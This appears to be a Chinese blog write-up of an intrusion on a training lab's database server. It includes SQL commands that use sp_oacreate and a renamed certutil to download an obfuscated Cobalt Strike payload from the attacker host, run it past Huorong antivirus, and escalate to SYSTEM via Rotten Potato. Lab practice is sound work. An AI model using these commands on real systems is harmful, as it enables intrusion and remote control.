目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.59.129)
靶 机:
12server-web1[192.168.22.134(仅主机的22网段,配置好的固定IP)、192.168.59.136(nat网卡)];
12server-data1[192.168.22.133(仅主机的22网段,配置好的固定IP)、192.168. 59.135(nat网卡)];
12server-web2[192.168.22.135(仅主机的22网段,配置好的固定IP)、10.10.10.138(仅主机的10网段,配置好的固定IP)];
12server-data2 (仅主机的10网段,10.10.10.136,配置好的固定IP);
16server-dc1(仅主机的10网段,10.10.10.135,配置好的固定IP)。
密码信息(默认密码):
- 12server-web1:administrator/QWEasd.123
- 12server-web2:administrator/QWEasd.999
- 12server-data1:administrator/QWEasd.789x
- 12server-data2:administrator/QWEasd.3344
- 16server-dc:administrator/P@55w0rd!
域用户账户和密码如下:
- web2:QWEasd.7788
- administrator:P@55w0rd!
www.ackmoon.com:admin/password-moon
mysql:root/Qweasdzxc5
sqlserver:sa/pass123@.com
2、注意事项
- 官网:https://www.moonsec.com/3216.html
- web1修改C:\Hws.com\HwsHostMaster\wwwroot\www.ackmoon.com\web\HdhApp.config中的sourceIP地址为data1的22网段网卡地址:192.168.22.133
- web1修改hosts文件添加本机NAT的IP和www.ackmoon.com的绑定,物理机也需要修改hosts文件才能访问到web资源,添加web1NAT的IP和www.ackmoon.com的绑定
地址:C:\Windows\System32\drivers\etc\hosts
- data2使用域管理员账户登录,关闭防火墙。
3、使用工具/软件
Kali: cs服务器(teamserver)
Cobalt Strike4.7版本(狐狸工具箱8.0)、proxifier(实现全局代理)、FoxyProxy(浏览器代理工具)、railgun(内网端口扫描)、navicat(测试连接数据库)、sqltools(数据库综合利用工具)、mobaxterm(进行ssh连接)、python3(临时web服务)
其他两篇文章地址:
暗月红队考核靶场ack123的测试报告[细节](一)-CSDN博客文章浏览阅读613次,点赞24次,收藏21次。基于渗透测试流程渗透暗月ack123靶场;ms16-075;冰蝎上线CS;CS免杀上线;KB3164038;ueditor 1.4.3;hdhcms;webshell;杀软对抗。https://blog.csdn.net/2301_79698171/article/details/144683679?sharetype=blogdetail&sharerId=144683679&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118暗月红队考核靶场ack123的测试报告[细节](三)-CSDN博客文章浏览阅读156次。基于渗透测试流程渗透暗月ack123靶场;jwt token;爆破SIGNATURE签名;mysql日志getshell;中国蚁剑;进程注入;SPN攻击;Kerberoast;psexec。https://blog.csdn.net/2301_79698171/article/details/144693938?sharetype=blogdetail&sharerId=144693938&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118
二、测试目的
进行data1主机的渗透,实现杀软对抗,绕过火绒防御拿到主机权限并提权。
三、操作过程
4、配置一层内网代理
使用CS的socks代理功能
右键--代理转发---socks代理
设置socks5
端口34685 设置身份认证123/123 运行即可
配置proxifier
配置火狐代理
5、内网信息搜集
直接获取web1靶机的密码信息是行不通的
因为web1上三个杀毒软件
调用cmd命令都行不通
渗透web时,通过注册用户的方法进入后台,说明存在一个数据库,可能在web1主机上,也可能是站库分离
查找web1主机文件
浏览探测---文件浏览
在网站根目录下,发现了HdhApp.config文件,是hdh的配置文件
C:\Hws.com\HwsHostMaster\wwwroot\www.ackmoon.com\web\HdhApp.config
查看一下可以看到里面是mssql数据库配置信息
数据库源地址:192.168.22.133
数据库登录凭证:sa\pass123@.com
数据库:DemoHdhCms
并不是web1主机,该站点采用了站库分离的策略
分析:根据web信息搜集时获取的端口信息 59.135主机开放了1433端口(msSQL服务),而web1主机59.136开放的是3306端口(mysql服务);web1的内网地址是22.134,可以判断59.135和22.133是同一台主机,开启了msSQL服务
使用工具扫描22网段主机和端口,railgun
并发流量不能太大,太大会终端隧道,什么都扫描不到了
设置并发10,隧道不会断开
扫描到三台主机:
192.168.22.133:数据库服务器主机
192.168.22.134:web1
192.168.22.135:web2
扫描192.168.22.133主机开放端口
开放了135端口、445端口、1433端口、5985端口,和59.135主机基本一致
扫描192.168.22.135主机开放端口
开启了80端口(http服务)、135端口、445端口、5985端口、3306端口(MySQL)、3389端口(rdp服务)
存在域环境:ack123.com
6、通过免杀实现杀软对抗将mssql服务器上线CS并提权
通过mssql执行系统命令
之前已经获取到了mssql的登录凭证
sa\pass123@.com
使用navicat尝试连接,成功连接
在SQL Server数据库中存在着"存储过程"的概念。存储过程是一系列预编译SOL语句的集合,这些SQL语句是存储在一个集合下的处理单元。存储过程的设计是为了解决单条SOL语句逐条执行的低效率问题。SQL Server在设计之初就封装了存储过程,这些存储姓程可以在我们日常使用时提供方便,但是某些存储过程涉及对系统的操作,这就使得通过SQL Server数据库权限进行提权来获得系统的控制权限有了可能。
下面介绍几种在SQL Server数据库提权时经常用到的存储过程。
- xp_cmdshell:xp_cmdshell可以将命令字符串作为操作系统命令shell来执行,并以文本的形式返回命令执行的结果。在渗透测试中,在获得SQL Server的SA账户权限后,xp_cmdshell是最常用的提权方法。
- sp_oacreate: sp_oacreate可以用于系统文件的复制、删除、移动等操作,在渗透测试中,一般搭配sp_oamethod存储过程调用系统wscript.shell来达到执行系统命令的目的。
- xp_regwrite:xp_regwrite可以对系统的注册表进行更改,达到执行渗透测试人员指定操作的目的。
在本例中,我们已经获得SQL Server 数据库的SA账户的权限,所以可通过xe_cdsheil
可以使用集成工具进行利用,连接数据库后直接输入shell命令运行即可
bash
whoami
bash
ifconfig
查看IP可以印证之前的猜测,两个IP:
公网:192.168.59.135
内网1:192.168.22.133
制作免杀CS木马
使用cs生成py格式的shellcode,复制该文件到项目地址下
因为mssql服务器主机也出网,可以直接用监听器,不需要转发
运行 shellcode_ encry.py,将生成的加密shellcode复制到ms_run.py 88 行的shellcode 上,将整个代码在网站进行代码混淆
将混淆后的代码复制,命名为ms_run1.py,执行打包命令,这里pyinstaller版本高了,加不了key,不过不加key也可以免杀;cmd执行
bash
pyinstaller.exe -Fw -i tomcat.ico ms_run1.py
成功免杀
执行完毕在dist文件夹下生成免杀exe
绕过火绒上线CS
通过命令执行,查看mssql服务器上运行哪些进程
bash
tasklist /SVC
通过杀软识别,是火绒安全工具
直接使用dos命令容易被拦下,不能保证每次都成功,绕过查杀执行命令的方式参考:
https://xz.aliyun.com/t/9265?time__1311=n4%2BxnD0DuAG%3DQD54GNnmDUrO8GCSDcGgcDYupD
执行sql命令,开启权限
sql
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
复制一份certutil.exe文件
sql
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\Users\Public\bypass.exe';
使用复制的执行文件下载免杀CS木马
这台主机也是出网的,可以直接下载攻击机的文件
sql
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Users\Public\bypass.exe -urlcache -split -f http://192.168.59.129:8888/ms_run1.exe C:\Users\Public\ms_run1.exe';
可以在服务端看到下载成功
执行文件即可上线CS
sql
exec master..xp_cmdshell 'C:\Users\Public\ms_run1.exe';
绕过杀软进行提权
bash
shell systeminfo
执行命令查看系统信息,可以看到这台主机是data1主机,同样是Windows Server 2012
而且这台主机也没打KB3164038补丁,也存在烂土豆提权ms16-075
梼杌---权限提升--Rotten Potato(烂土豆)
可以看到提权成功,获取了data1主机的system权限
四、结论
内网代理通道的流量不宜过高,会断开。直接执行命令行不通可以使用靶机上的软件调用cmd执行命令,也许可以。